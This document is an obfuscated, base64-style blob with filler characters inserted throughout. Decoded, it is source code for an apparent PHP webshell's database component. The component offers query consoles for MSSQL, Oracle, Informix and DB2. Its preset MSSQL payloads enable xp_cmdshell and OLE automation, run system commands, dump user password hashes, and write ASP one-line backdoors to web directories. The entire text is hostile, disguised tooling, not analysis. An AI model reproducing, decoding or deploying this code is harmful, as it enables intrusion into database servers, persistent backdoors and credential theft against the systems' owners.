ZT0id2lkdGg6MTAwcHvfegiPjxicj4KPHNjcmlwdvfeCBsYvfeWvfe5ndWFnZT0iamF2YvfeXNvfejcmlwdCI+CmZ1bmN0aW9uIG1zRnVsbChpKXsKCVN0ciA9IG5ldyBBcnJheSgxMSk7CglTdHJbMF0gPvfeSAvfeiIjsKCVN0clsxXSA9IvfeCJzZWxlY3QgQEBvfe2vfeZXvfeJzaW9uOyIvfe7vfeCglTdHJbMl0gPSAic2VsvfeZWvfeN0IvfeG5hbWUgZnJvbSBzeXNkYXRhYvfemFzZXMvfe7IjsKCVN0clvfeszXSA9ICJzvfeZWxlYvfe3QgvfebmFtZSBmcm9tvfeIHvfeN5c29iamVjdCB3aGVyZSB0eXvfeBlPSdVJvfezvfesiOwoJU3RyWvfezRdID0gInNlbGVjdCBuYW1vfelIGZyb20gc3lzY29sdW1ucyB3aGVyZSvfeBpZD1PYmplY3vfeRfSWQvfeoJ3RhYmxlvfeX2vfe5hbWUnKTsivfeOwoJUvfe3RyWvfezvfeVdID0gIlVzZSBtvfeYXN0ZXIgZGJvfejYyBhZGvfeRleHRlbmRlZHByb2MgKCdzvfecF9PvfeQUNyZWF0ZScsJ29kvfec29sZTcwLmRsbCcpOyI7CglTdHvfeJbNl0vfegPSAiVvfeXNlIG1hc3RvfelciBkYmNjIGvfeFvfekZGV4vfedGVuZvfeGVkcHJvYyAoJ3hwXvfe2vfeNtZHNoZWxsvfeJywneHvfeBsb2vfec3vfeMC5kbGvfewnKvfeTsiOwoJU3RyvfeWzddIvfeD0gIkVYRvfeUMgc3BfY29uvfeZmlndXJvfelICdzaG9vfe3vfeIGFkdmFvfeuY2VkIG9wdvfeGlvbnMnLCAxvfeO1JFQ09ORklHVVJFO0VYRUMgc3BfvfeY29uZmlndXJlICd4cFvfe9jbWRzaGVsbCcsIDE7UkvfeVDT05GSUdVUkU7vfeIjsKCVN0cls4XSAvfe9ICJleGVjIHNvfewX2NvbvfemZpZvfe3VyZSAnc2hvdyBhZHZhbmNlZCBvcHRvfepb25zJywgMTtSRUNPTkZJR1VSvfeRTtleGvfeVjIHNwX2NvbmZpvfeZ3VyZSAnT2xlIvfeEF1dGvfe9tvfeYXRpb24gUHJvY2vfeVkdXJlcycvfesvfeMTtvfeSRUvfeNPTkZJvfeR1vfeVSRTsiOwvfeoJU3RyWzldID0gvfeImV4ZWMgc3BfY29uZmlndvfeXJlICdzaG93IvfeGFkdmFuY2VkvfeIG9wvfedGlvbnvfeMnLCAxO1JFQ09ORklHVVJFO2V4ZWMgc3vfeBfY29uZmlndXvfeJlvfeICdBZCBIbvfe2MgRGlvfezdHJpYvfenV0ZWQgUXVlcmllvfecycsMTtSRUNPTkZJR1VSRTsvfeiOvfewoJU3RvfeyWzEwXSA9ICJvfeFeGVjIG1hc3Rlci5kvfeYm8ueHvfeBfY21kc2hlvfebGwgJ25ldCB1c2VyJzsvfeiOwoJvfeU3RyWzExvfeXSA9ICJEZWNsYXJlIEBzICBpbnQ7ZvfeXhvfelYyvfeBzcFvfe9vvfeYWNyZWF0ZSAnd3NjcmlwvfedC5vfezaGVsbvfeCcsQHMgb3V0vfeO0V4ZWMgU1BfTvfe0FNZXvfeRvfeob2QgQHMsJ3J1bicsTlVMTCwvfenY2vfe1kLvfemV4ZSAvYyBlY2vfehvIF48JWV4ZWN1dGUocmvfeVxdWVzvfedChjvfeaGFyKDM1KvfeSkpJV4+ID4gYvfezpcXFxcMS5hc3AnOvfeyvfeI7CvfeglTdHJbMTJdID0gInNwvfeX21ha2V3ZWJ0YXNrIEBvvfedXRwdXRmaWxlvfePSdkOlxcXFx3ZvfeWJcXFxcYmluvfeLmFzcCcvfesQGNoYvfeXvfeJvfezZXQ9Z2IyvfeMzEyLEBxdWVvfeyeT0nc2VvfesZWNvfe0ICcnPCVleGVjdXRlKHvfeJlcXVlc3QoY2hvfeyKDvfeM1KSkpJT4nJycgIjsKCW1zZm9ybS5tcvfe3NxbC52YvfeWx1ZSA9IFN0cltvfepXTsKCvfeXJldHVybivfeB0cvfenvfeVlOwp9Cjwvc2NyaXB0Pgo8dGVvfe4dGFyZWEgbmFtZT0ibvfeXNzcWwiIHN0eWxlPSJvfe3aWR0aDo2MDBweDtoZWlnvfeaHQ6MjvfeAwcHg7Ij57JG1zcXVlcnl9PC90ZXh0YvfeXvfeJlYT48YnIvfe+CjxzZWxlvfeY3Qgbvfe25vfejaGFuZ2Uvfe9InJldHVyvfebiBtc0Z1bGwob3B0avfeW9uc1tvfezZWxlY3RlZvfeEluZGV4XSvfe52YWvfex1ZSkiPvfegoJPvfeG9wdGlvvfebiB2vfeYWx1ZT0iMCIgc2VsvfeZWN0ZvfeWQ+1rTQ0MP8we48L29wdGlvbjvfe4KCTxvcHvfeRpbvfe24gdmFsdvfeWU9IjEiPvfes/Uyr6w5rGvfe+PC9vcHRpb24+Cgk8vfeb3B0aW9uIHZhbHVlvfePSIyvfeIvfej7K/vfeb7dv+I8L29wdGlvbj4KCTxvcHRpb24gdmFsdWU9IjMiPrHtts48L29wdGlvbj4KCTxvvfecHRpb24gdmFsdWvfeU9IjQiPtfWts48L29wdGvfelvbj4KCTxvcHRpvfeb24gdmFsdWU9vfeIvfejUiPnNwvfeX29hY3JlYXRlPC9vcHRpb24vfe+Cgk8vfeb3B0aW9uIHvfeZhvfebvfeHVlPSI2Ij54cF9jvfebWRzaGVsbDwvbvfe3B0aWvfe9uPgoJPG9wdvfeGlvbiB2YWx1ZT0iNyI+eHBfY21kc2hlbGwoMjAwNSk8L29wvfedGlvvfebj4KCTxvcHRpvfeb24gdvfemFsdWU9IjgiPnNwX29hY3JlYXRlKDIwMDUpPC9vcHRpb24+Cgk8b3Bvfe0aW9uIHZhbvfeHVlPSI5Ij608r+qvfeb3BlbnJvd3NldCgyMDA1KTwvb3B0aW9uPgoJPG9wdGlvbiB2YWxvfe1ZT0iMTAiPnvfehwX2NtZHNoZWxsIGV4ZWM8L29wdGlvbj4KCTxvcHRpb24gdmFsdWvfeU9IjEwIj5zcvfeF9vYW1vfeldGhvZCBleGVjPC9vfevcHRpb24+vfeCgkvfe8b3vfeB0aW9uvfeIHZhbHVlPSIxMSI+c3BvfefbWFrZXdlYnRhc2s8L2vfe9wdGlvbj4KPC9zZvfeWxlvfeY3Q+CjxpbnB1dCB0eXBlPSJoaWRkZW4vfeiIG5hbvfeWU9ImFjvfedGvfelvbvfeiIgdmvfeFsdWU9Ivfem1zcXVlcnkiPgo8aW5wdXQgYvfe2xhvfecvfe3M9ImJ0vfeIiB0eXBlPvfeSJzdWJvfetavfeXQvfeiIHZhbHVlPSJRdWvfeVyeSvfeI+vfePC9mb3JtvfePjwvZvfeGl2PgpFTkQ7CvfemvfelmICgkbXNhY3Rpb24gPvfeT0gJ21vfezcXVlcnknKvfeXsKJG1zY29vfeubj0gbXNzcWxfYvfe29uvfebmVjdCAovfeJvfeG1zaG9zdCAvfesICRtc3VzZXvfeIsIvfeCRtcvfe3Bhc3MpvfeOyAgvfeCmvfe1zc3FsX3NlbvfeGVjdF9kYigkbXNkYvfem5hbWUsJG1zY29ubvfeikvfegb3IgZGllvfeKCJjb25uZWN0IGVycm9yIDoiIvfeC5tvfec3NxbF9nZXRfvfebGFvfezdvfeF9tZXNzYWdlKvfeCkpOwokbXNvfeyZXN1bHQgPSBtc3NxvfebvfeF9xdvfeWVyeSgkbXNxdWvfeVyeSkgb3IgZGllKG1zcvfe3FsX2dldF9vfesYXvfeN0X21vfelc3NhvfeZ2UoKSk7CmVjavfeG8vfegJzxmb2vfe5vfe0IGZhY2U9InZlcmRhbmEiPjx0YWJsZSBvfeib3JkZvfeXI9IjvfeEiIGNlbGvfexwYvfeWRkaW5nPSIxIiBjvfeZWxsc3vfeBhY2luZvfez0ivfeMiI+Jyvfe4iXGvfe48dHI+vfeXG4iOvfewpmb3IgvfeKCRpPTA7ICRpPG1zc3FvfesX251bV9vfemaWVsvfeZHvfeMoJG1zcmVzdWx0KTsgJGkrKykvfeKe2VjavfeG8gJzx0ZD48Yj4nLm1vfezcvfe3FvfesXvfe2ZpZWvfexkX25hvfebWUoJvfeG1zcvfemVzdWx0LCvfeAkaSkuIvfejwvfevYvfej48vfeL3RkPlxvfeuIjt9vfeCmVjaG8gIjwvdHI+XG4vfeiOwptc3NxbF9kYXRhXvfe3NlvfeZWvfesvfeoJHJlc3VsdCwgMCk7CndoaWxlICgkbXNyb3c9bXNzcWxfZmV0vfeY2vfehfcmvfe93KCRtc3Jlvfec3vfeVsdCkpCnsvfeKZWNobvfeyAivfePHRyPlxuIjvfesKvfeZvfem9yICgkaT0wOyAkaTvfextc3NxbF9vfeudW1fZmvfellbGRzKCRtc3Jlc3VsdCk7ICRpKysgKQp7ZWNobyAnPHRvfekvfePicuIivfeRtvfec3Jvd1svfekaV0iLic8L3RkPic7fQplY2hvICI8L3RyPlxuIjsKfQplY2hvICvfeI8L3RhYmxvfelPjwvZm9udD4iOwptc3NxbF9mcmVlX3Jlc3VvfesdCgkbXNyZXN1vfebHQpOwptc3NvfexbF9jvfebG9zZvfeSgpOwvfep9Cn0KZWxzZWlmICgkZGI9PSJvcmEiKXsKJG9yYWvfehvc3QgPSBpc3vfeNldCgkX1BPvfeUvfe1vfeRbJ29vfeyYWvfehvc3vfeQnXSkgPyvfeAkX1BPU1RbJ29yYWhvc3QnXSA6ICdsbvfe2vfeNhbvfeGhvc3QvfenOwokb3JhcG9ydCA9IGlzcvfe2V0KCRfUE9TvfeVFsvfenb3JhcG9ydCddKSA/IvfeCRfUE9TVFsnb3JhcG9ydCddIDogJzE1MjEnOwokb3JhdXvfeNlvfeciA9IGlvfezc2V0vfeKCvfeRfvfeUE9TvfeVFvfesnb3JhdXNlcvfeiddKSAvfe/ICRvfefUE9TVFsnb3JhdXvfeNlciddIDogJ3vfeJvb3QvfenOwokbvfe3JhcGFvfezcyAvfe9IGlzc2V0vfeKvfeCRfUE9vfeTVFsnb3JhcGFzcyddvfeKSA/ICRfUE9TVFsnb3vfeJhcGFzcvfeyddIDogJzEyvfeMzQ1Nic7CiRvcmFzaWQgPSBpvfec3NldCgkX1BPU1RbJ29yYXNpZCddKSA/ICRfvfeUE9TVFsnbvfe3Jhc2vfelvfekJ10gOiAnT1JDTCc7CiRvcmFvfehY3Rpb24gPSBpvfec3NldCgkX1BPU1RbJ2FjvfedGlvbiddKSA/ICRfUE9vfeTVFsnYWN0aW9uJ10gOiAvfenJzsKJG9yYXF1ZXvfeJ5ID0gaXNzZXQoJF9QT1NUWydvfevvfecmFvfezcWwnXSkgPyAkX1BPU1RbJvfe29yYXNxbCddIDogJyc7CiRvcmFvfexdWVyeSA9IHN0cvfemlwcvfe2xvfehvfec2hvfelcygkb3JhcXVlcnkpOwpwcmludDw8PEVOvfeRAvfeo8vfeZm9ybSBtZXRovfeb2Q9IvfelBPvfeUvfe1QiIvfeG5vfehbWU9Ivfem9yYWZvcm0iIvfeGFjdGlvbj0iP3M9Z2vfecmZGI9b3JvfehIj4KPGRpdiBjbGvfeFzcz0iYWN0YWxsIj4KSG9zvfedDo8avfeW5wdXQgdHlvfewZT0idvfeGV4dCIgvfebmFtZTvfe0ibvfe3JhaG9zdCIgdmFsdWU9Inskb3JhaG9vfezdHvfe0ivfeIvfeHvfeN0eWxlPSJ3vfeaWR0aDoxMDBweCI+ClBvcnQ6PGlucHV0IHR5cGU9InRleHQvfeiIG5hbWvfeU9Im9yYXBvcnQvfeiIHZhbHVlPSJ7JG9yYXBvcnR9IiBvfezdHlsvfeZTvfe0id2lkdGvfeg6NTBwvfeeCI+ClVzZXI6PGlucHV0IHR5cGU9InRlvfeeHQvfeiIG5hbWU9Im9yYXVzZXIiIHZhbHVlPSJ7JvfeG9yvfeYXVzvfeZXJ9IiBvfezdHlsZT0id2lkdGvfeg6ODvfeBweCI+ClBhc3M6PGlucvfeHVvfe0IHvfeR5cGU9InRlvfeeHQiIGvfe5hbWU9Im9vfeyvfeYXBhc3MiIHvfeZhbHVlPSJvfe7vfeJG9yYXvfeBhc3N9IiBzdHlsZT0idvfe2lkdGg6MTAwvfecHvfegiPvfegpTSUQ6PGlvfeucHV0IHvfeRvfe5cGU9InRleHQivfeIG5hbWU9Im9yYXNpvfeZCIgdmFsdWU9Inskb3Jhc2lvfekfSIgcvfe3R5bGU9IndpZvfeHRoOjUwcHgiPjxicj4KPHNjcmlwdCvfeBsYW5ndWFnZT0iamF2YXNjcmlwvfedCI+CmZ1bmvfeN0vfeaW9uIvfeG9yYUZ1bGwovfeaSl7ClN0ciA9IG5ldyBBcnJheSg1KTsKCVN0cvfelsvfewvfeXSA9ICIiOyAKCVN0clsxXSA9vfeICJzZWxlY3QvfegvfedmVyc2lvbigpOvfeyI7CglTdvfeHJbvfeMl0gPSAiU0VMRUNUIE5BvfeTUUgRlJPTvfeSBWJERBVEFCQVvfeNFIjsKCVNvfe0clsvfezXSA9ICJzZWxlY3QgKiBvfeGcm9vfetIGFsbF9vYmplY3RzIvfeHdoZXJlIG9iamVjvfedvfeF90eXBlvfePSdvfeUQUvfeJMRSciOwoJU3RyWzRdID0gIvfenNlbGVjdCBjbvfe2vfex1bW5fvfebmFtZSBmcm9tIHVzZXJfdGFiX2vfeNvbHVtbnMgd2hlcmUgvfedGFibGVfbmFtZT0ndGFibGvfeUxJyIvfe7CgvfelvcmFmb3JtLm9yYXNxbC52YWx1ZSvfeA9vfeIFN0cltpXTsKCXJldHVybiB0cnvfeVlOwp9Cjwvc2NyaXB0Pgo8dGV4dGFyZWEgbmFtZT0ib3Jvfehc3FsIiBzdHlvfesvfeZT0id2lkdGg6NjAwcHgvfe7aGVpZ2h0OjIvfewMHB4OyI+eyRvcmFxdWVyeX08L3RleHRhcmVhPjxicj4KPvfeHNlbGVvfejdCBvbvfemvfeNoYW5nZT0icmV0dXJuIGvfe9yYUvfeZ1bGwob3B0aW9uc1tzZWxlY3RlZEluZGV4XS52YWxvfe1ZSkiPgoJPG9wdGlvbiB2YWx1ZT0iMvfeCIgc2VsZWNvfe0ZWQ+1rTQ0MvfeP8we48L29wdGlvbj4KCTxvfevcHRvfepb24gvfedmFsdWU9IjEiPs/Uyr6w5rvfeG+PC9vcHRpb24+Cvfegvfekvfe8b3B0aW9uIHvfeZhbHVlPSIyIj7K/b7dv+I8vfeL29wdGlvfevbj4KCTxvcHRpb24vfegdmFsdWU9vfeIjMiPrHttvfes48Lvfe29wdGlvbj4vfeKCTxvfevcHRpb24gvfedmFsdWvfeU9IjQiPtfWvfets48L29wdGlvbj4KPC9zZWxvfelY3Q+CjxpbnB1dCvfeBvfe0eXBlPSJoaWRkZvfeW4iIG5hbvfeWU9IvfemFjdvfeGlvbiIgdmFsdWU9Im15cXVlcnkiPgo8aW5wdXQgY2xhc3Mvfe9ImJ0IiB0eXBlPSJzdWJtaXQiIHZhbHVlPSJRdWVyeSvfeI+PC9kaXY+PC9mb3JtPgpFTvfekQvfe7CmlmKCvfeRvcmFhY3Rpb24gPT0gJ29yYXF1vfeZXJ5Jyl7CiRvcmFsaWvfe5vferPU9DSUxvZvfe29vfeuKCRvcmF1vfecvfe2VyLCRvcmFwYXNvfezLCIoRvfeEVzY3JpcHRJT049KEFERFJFU1M9KFBSvfeT1RPQ09vfeMvfeID1UQ1ApKEhPvfeU1Q9JG9yYWhvc3vfeQpKFBPUlQgPSAkb3JhcG9ydvfeCkvfepKEvfeNPvfeTk5FQvfe1RfREvfeFUQSA9KFNJRvfeD0kb3vfeJhc2lkKSvfekpvfeIikgb3IvfegZGllKG9javfeWVycm9yKCkpOyAKJvfeG9yvfeYXJlc3VsdD1vY2lwYXJzZSgkbvfe3vfeJhbGluavfeywkbvfe3JhcXVlcnkpIG9yIGRpZShvY2vfelvfelcvfenJvcigpKTsKJG9yYXvfeJvdvfez1vY2lfZmV0Y2hfcm93vfeKCRvfevcmFyZXvfeN1bHQpOwplY2hvICcvfe8Zm9udCBmYWNlPSJvfe2ZXJkYW5hIj48dGFibGUgvfeYm9yZGVyPSIxIiBjZvfeWxvfesvfecGvfeFkZGlvfeuvfeZvfez0iMSIgvfeYvfe2VsbvfeHNwYWNpbmc9IjIiPicuIlxuPHRyPlxuIjsvfeKZm9yICgkvfeaT0vfewOyAkaTxvY2lfvfebnVtX2ZpZWxkcygkvfeb3vfeJhcmVvfezdWx0KTvfesvfegJGkrKykKe2vfeVvfejaG8gJzx0ZD48Yj4nLm9jvfeaV9maWVsZF9uYW1lKCRvcmFyZXN1bHQsICRpvfeKS4iPC9iPjwvdGQ+XG4ivfeO30KZWNobyAiPC90cj5cbiIvfe7Cm9jaXJlc3VsvfedCgkb3JhcmVzvfedWx0LCAvfewKTvfesKdvfe2hpbvfeGUgKCRvcmFybvfe3cvfe9b3JhX2ZldGNoX3Jvdygkb3JhcmVzdWx0KSvfekKewplY2hvICI8dvfeHIvfe+XGvfe4iOwpmb3vfeIgKCRpPTA7ICvfeRpPG9yYV9udW1fZmllbGRzKCvfeRyvfeZXN1bHQpOyAkaSsrICkKe2VjaG8gJzx0ZD4nLiIkb3Jhcm93WyvfeRpXSvfeIvfeuvfeJzwvdGQ+Jzvfet9CmVjaG8gIjwvdHI+XG4ivfeOwp9CmVjaGvfe8gIjwvdGFibGU+PvfeC9mb250PiI7Cm9jaVvfe9mvfecmvfeVlX3N0YXRlbWvfeVvfeuvfedCgkb3JhvfecmVzdWvfexvfe0KTvfesKb2NpbG9nb2ZmKCk7vfeCnvfe0KfQplbHNlaWYgKvfeCRkYiA9PSAiaWZ4Iil7CiRpZnvfeh1c2VyID0gvfeaXNzZXvfeQoJF9vfeQT1NvfeUWydpZnh1c2VyJ10pID8gJF9QT1NUWvfeydvfepZnh1c2VyJ10gvfeOiAncm9vfevdCc7CiRpZnhwYXvfeNzID0gaXvfeNvfezZXQoJF9QT1NvfeUWydpZnhwYXvfeNzJ1vfe0pID8gJFvfe9QvfeT1vfeNUWydpZnhwYvfeXNzJvfe10gOiAnMTIzNDU2JzsKJGvfelmvfeeGvfeRvfeibmFtZvfeSA9IGvfelzc2V0KCRfUE9TVFsnavfeWZ4ZGJuYW1lJvfe10pID8gJFvfe9QT1NUWydvfepZnhkYm5vfehbWUnXSA6ICdpZnhkYic7CivfeRpZnhhY3Rpb24gPSBvfepc3NldCvfegkX1BPUvfe1vfeRbJ2FjdGlvvfebiddKSA/IvfeCRfvfeUE9TVFsnYWN0aW9uJvfe10gOiAnJzsKJGlmeHF1ZXJvfe5ID0gaXNzZvfeXQoJF9QTvfe1NUWvfeydpZnhzcWwnXSkgPyAkX1BPU1RbJ2lmevfeHNxbCddIDogJyc7CiRpZnvfehxdWVyeSvfeA9IvfeHN0cmlwc2xhc2hlvfecygkaWZ4cXVlcvfenkpOwpwcmlvfeudDw8vfePEvfeVORAvfeo8Zm9ybSBtZXRob2Qvfe9vfeIlBPU1QiIG5hbWU9ImlmeGZvcm0iIGFjdGlvbj0iP3M9Z2cmZGI9aWZ4Ij4KPGRpvfediBvfejbGFzcz0iYWN0YvfeWxsIj5EYmvfe5hbWUvfe6PGlucHV0IvfeHR5cGU9vfeInRlvfeeHQiIG5hbWU9ImlmeGhvc3QiIHZhbHVlPSJ7JGlvfemeGRibmFtZX0iIHvfeN0eWxlPSJ3vfeaWR0aDoxMDBweCI+ClVzZXI6PGlucHV0IHR5cGU9InRleHQiIG5hvfebWUvfe9ImlvfemevfeHVzZXIiIHZhvfebHVlPSJ7JGlmeHvfeVvfezZXJ9IiBvfezdHvfelsZT0id2lkdGgvfe6MTAwcHgiPgvfepQYXNzOjxpbnB1vfedCB0evfeXBlPSJ0ZXh0IiBuYW1lPSJvfepZvfenhwYXNvfezIiB2YWx1ZT0ieyRpvfeZnvfehwYXNzfvfeSIgc3R5bGvfeU9InvfedvfepZHRoOjEwMHB4Ij48YnI+CjxzY3JpcHQgbGFuZ3VhZvfe2U9ImphdmFzYvfe3vfeJpcHQiPgpmdW5jdGlvfevbiBpZnhGdWxsKvfeGkpevfewpTdHvfeIgPvfeSBuvfeZXcgQXJvfeyYXkoMTEpOwoJU3vfeRyWzBdID0gIvfeiI7CglTdHJbMV0gPSAic2VsZWN0IGvfeRic2VydmVybmFtZSBmcm9tIHNvfe5c29iamVjdHM7IjsKCVNvfe0vfeclsyXSA9ICJzZWxlY3QgbmFtZSBmcm9tvfeIHN5c2RhdGvfeFiYXNlczsiOwoJU3RyWzNdID0gInNlbGVjdCB0vfeYWJvfeuvfeYW1lIGZyb20gc3lzvfedGFibGVzOvfeyI7vfeCglTdHJvfebNF0gPSvfeAivfec2VsZWN0IGNvbvfeG5hbWUgZnJvbvfeSBvfezeXvfeNjbvfe2xvfe1bW5zIHdoZXJvfelvfeIHRhYmlkPW47IjvfesKCVN0cls1XSA9ICJzZWxlY3QgdXNvfelcm5hbWvfeUsvfedXNlcnR5cGUscGFzcvfe3dvcmQgZnJvbSBzeXN1c2vfeVyczsvfeiOwoJaWZ4Zm9ybS5pZnhzcWwudvfemvfeFsdvfeWUgPSBTvfedHJbaVvfe07vfeCglvfeyZvfeXR1cvfem4vfegvfedHJ1ZvfeTsKfQo8L3NjvfecmlwdD4KvfePHRleHRhcmVhIGvfe5hbWU9vfeImlmevfeHNxvfebCIgc3R5bGUvfe9IndpZHRoOjYwvfeMHB4O2hlvfeavfeWdvfeodvfeDoyMDBweDsiPnskaWZ4cXvfeVvfelcnlvfe9PC90ZXhvfe0YXJlYT48YnI+CjxvfezZWxlvfeY3Qgb25jaGFuZ2U9InJvfeldHVvfeybiBpZnhGdWxsKG9wdGlvbnNbc2VsZWvfeN0ZWRJbmRleF0udmFsvfedWUpIj4KCTxvcHRvfepb24gdmvfeFsdWU9IjAiIHNlbGVjdGVvfekPta00NDDvfe/MHvfeuPC9vcHRvfepb24+Cgk8b3B0aW9uIvfeHZhbvfeHVlPSIxIj7K/b7dv+K3/s7xxvfD+7PGPvfeC9vcHvfeRpb2vfe4+Cgk8b3B0aW9uvfeIHZhbHVlPSIxIj7K/b7dv+I8Lvfe29wdGlvbj4KCvfeTxvcHRpb24gdmFsdWU9IjIiPvferHvfettvfes4vfe8L29wdvfeGlvbj4KCTxvcHRpvfeb24gdmvfeFsdWUvfe9IvfejvfeMivfePtvfefvfeWts48L29wdGlvfevbj4KCTxvcHRpb24vfegdmFsdWU9IvfejQiPmhhcvfe2hlczwvb3vfeB0aW9uPgo8vfeLvfe3NvfelvfebvfeGVjdD4KPvfeGlvfeucHV0IHRvfe5cvfeGU9IvfemhpZvfeGvfeRlbiIgbmFtZT0iYWN0aW9uIiB2YWx1ZT0vfeiaWvfeZ4cXVlvfecnkiPvfego8aW5wdXQgYvfe2xhc3Mvfe9ImJ0IiB0eXBlPSJzdvfeWJtaXQvfeiIHZhbHVlvfePSJRdWVyeSIvfe+PC9kaXvfeYvfe+PC9mb3JtPgpFTkQ7CmlmKCRpZnhhY3Rpb2vfe4gPT0gJ2lmvfeeHFvfe1ZXJ5Jyl7vfeCiRpZnhsaW5rID0gaWZvfe4X2Nvbm5lY3QoJGvfelmY2RibmFtZSvfewgJGlmeHVzZXvfeIsICRpZnhwYXNzKSBvcvfeiBkaWvfeUoaWZ4X2Vvfeycm9ybXNnKCkpOwokaWZ4cmVzdWx0ID0gaWZ4X3F1ZXJ5KCRpZnhxdWvfeVyeSwkaWZvfe4bGluaykgb3IgvfeZGllIChpvfeZnhfZXJyb3Jtc2coKSk7CvfeiRpvfeZnhyb3c9aWvfeZ4X2ZldGNoX3JvdyvfegkaWZ4cvfemVzdWx0KTsKZWNvfeobyAnPGvfeZvbnQgZmFjZT0idvfemVyvfeZGFuYvfeSI+PHRhYmxlvfeIGvfeJvcmRlcj0iMSIgY2VsbHBhZGRpbmc9IjEivfeIGNvfelbGxzcGFjvfeaW5nvfePSIyIj4nLiJvfecbjx0cj5cbiI7CvfemZvfevcigkaT0wOvfeyAkaTxpZnhfbnVtvfeX2ZvfepZWxkcygkaWZ4cvfemVzdWx0KTsgJGvfekrKykKe2VjaG8gJzx0ZD48Yj4nLmlmeF9maWVsZHByb3BlvfecnRpZXMoJGvfelmeHJlc3VsdCkuIvfejwvYj48vfeL3RkPlxuIjt9CmVjavfeG8gIjwvdHIvfe+XG4iOwpteXNvfexbvfeF9kYXRhX3vfeNlZWsoJGlmeHJlc3VsdCwgMCk7CndovfeaWxlICgkaWZ4vfecm93vfePWlvfemeF9mZXRjaF9yb3coJGlmevfeHJlc3VsdCkpvfeCnsKZWNobyAiPHRyPvfelxuIjsKZm9yICgkaT0wOyAkaTvfexpZnhfbnVtX2vfeZpZWxkcygkaWZ4cmVzdWxvfe0KTsgJGvfekrKyApCntlY2hvvfeIvfeCc8dGQ+vfeJy4ivfeJGlmeHJvd1svfekaV0iLic8L3RkPic7fQplvfeY2hvICI8Lvfe3RyPlxuIjsKfQvfeplvfeY2hvfevICI8Lvfe3RhYmxlPjwvvfeZm9udD4vfeiOwvfeppZnhfZnJlZvfeVvfe9yZXvfeN1bHQoJGlmeHJlc3VsdCk7CvfemlmeFvfe9jvfebGvfe9zZSvfegpvfeOwvfep9Cvfen0KZWxzZWlvfemICgkZGI9PSJkvfeYjIiKXsKJGRiMmhvc3QgPvfeSBpc3NldCgkX1BPUvfe1RvfebJvfe2RiMmhvc3QnXSkgPyAkX1BvfePU1RbJ2vfeRiMmhvvfec3QnXSA6ICdsb2NhbGhvfevc3QnOvfewokZGIycG9ydvfeCA9IGlzc2V0KCRfUE9TVvfeFsnZGIycG9ydCddKvfeSA/ICRfUE9TVFsnZGIycG9ydCddvfeIDvfeogJzvfeUwMDAwvfeJzsKJGRivfeMnVzZXIgPvfeSBpc3NldCgkX1BPU1RbJ2RiMnVzZXInXSkgPyAkX1BPU1RbJvfe2RiMnVvfezZXInXSA6ICdyb290JzsKJGRiMnBhc3MgPvfeSBpc3NldCgkX1BPUvfe1vfeRbvfeJ2RiMvfenBhcvfe3MnXSkgPyAkvfeX1BPU1RbJ2RiMnBhvfec3MnvfeXSAvfe6vfeICcxMvfejM0NTYnOwokZGIyZGvfeJuvfeYW1lvfeID0gaXNzZXQoJF9vfeQT1NUWydkYjJvfekYm5vfehbWUnXSkgPyAkvfeX1BvfePU1RbJ2RiMmRivfebmFvfetZSddIDogJ215c3FsJzsKJGRiMmFjdGlvfevvfebiAvfe9IvfeGlzcvfe2V0KCRfvfeUE9TVFsnvfeYWN0aW9uJvfe10pID8gJF9QT1NUWydhY3Rpb2vfe4nXSvfeA6ICcnOwokZGIvfeycXVvfelvfecnkgPSvfeBpc3NlvfedCvfegkX1BvfePU1vfeRbJ2RiMnNxbCddvfeKSAvfe/ICRfUE9TVFsnZGIyc3FsJ10gOiAnJzsKJGRiMvfenF1ZXJvfe5ID0gcvfe3RyaXBzbGFzaGVzKCRkvfeYjvfeJxdWVyeSk7CvfenBvfeyvfeaW50PDw8RU5EvfeCjxvfemb3JtIvfeG1ldGhvZD0iUE9TVCIgbmFtZTvfe0iZGIyvfeZm9vfeybSIgYvfeWN0vfeaW9uPSI/vfeczvfe1nZyZkYj1kYjIvfeivfePgo8ZGvfelvfe2IGvfeNvfesYvfeXNvfezPSJhY3RhbvfeGwiPkhvc3Q6PGlucHVvfe0vfeIHR5cGU9InRvfeleHvfeQiIG5hbWUvfe9ImRiMmvfehvcvfe3QiIvfeHZhbHVlPSJ7JvfeGRivfeMmhvc3R9vfeIiBzdHlsZT0id2lkdGg6MTAwcHgiPgpQb3J0vfeOjxpbvfenB1dCB0eXBlPSJ0ZXh0IiBvfeuYW1lPSJkYvfejJvfewb3Jvfe0IiB2YWx1ZT0ieyRkYjJwvfebvfe3J0fSIgc3R5bGU9IndpZHRoOjYwcHgvfeiPgpVc2VyOjxpbnvfeB1dCB0vfeeXBlPSJ0ZXh0IvfeiBuYW1lPSJkYjJ1c2VyIiB2YWx1vfeZvfeTvfe0ieyRkYjJ1c2VvfeyfSIgc3R5bGUvfe9IndpZHRoOvfejEwMHvfeB4Ij4KUGFzczo8aW5wdXQvfegdHlwZT0ivfedGV4dCIgbmFtvfeZT0iZGIvfeycGFzcvfeyIgdmFvfesdWU9InskZGIycGFzc30iIHN0eWxlPvfeSJ3aWR0aDoxvfeMDvfeBweCI+CkRibmFtZTo8vfeaW5wvfedXQgdHlwZT0idGV4dCIvfegbmFtZT0ivfeZGIyZGJuYvfeW1lvfeIiBvfe2vfeYWx1ZT0ieyRkvfeYjJkYm5hvfebWV9IiBzdHlsZT0ivfedvfe2vfelkdGg6MTvfeAwcHgiPjxicjvfe4KPHvfeNvfejcmlwdCBsYW5ndWFnZT0iamF2YXNjcmlwdCI+CmZ1vfebmN0aW9uIGvfeRvfeiMkZ1bGvfewoaSl7ClN0ciA9IG5ldyBBcnJvfeheSg0KTsKCVNvfe0clswXSvfeA9ICvfeIiOwovfeJvfeU3RvfeyWzFvfedvfeID0gIvfenNlbGVjdvfeCBzY2hlvfebWFuvfeYW1vfelIGZyb20gc3lzY2F0LnNjavfeGVtYvfeXRhOyI7CglTdHJbMl0gPSAic2VsZWvfeN0IG5hbWUgvfeZnJvfevbSBzevfeXNvfepYvfem0uc3lzdGFivfebGVzOyI7vfeCglTvfedHJbM10gPSAic2VsZWN0IGNvbG5hbvfeWUgZnJvbSBzevfeXNjYXQuY29sdW1ucyB3aGVyZSB0YWJuYW1lPSd0YWJsZvfeV9uYW1lJzsiOwoJU3vfeRyWzRvfedIvfeD0gImRiMiBnZXQgZGIgY2ZnIGZvciBvfekvfeYl9uYvfeW1lOyIvfe7CmRiMmZvcvfem0uZGIyc3FsLnZvfehbHVlID0gU3RyvfeWvfe2ldOwpyZXR1cm4gdHvfeJ1ZvfeTsKfvfeQo8L3NjcmlwdDvfe4KPHRleHRvfehcmvfeVhIG5hbWU9Im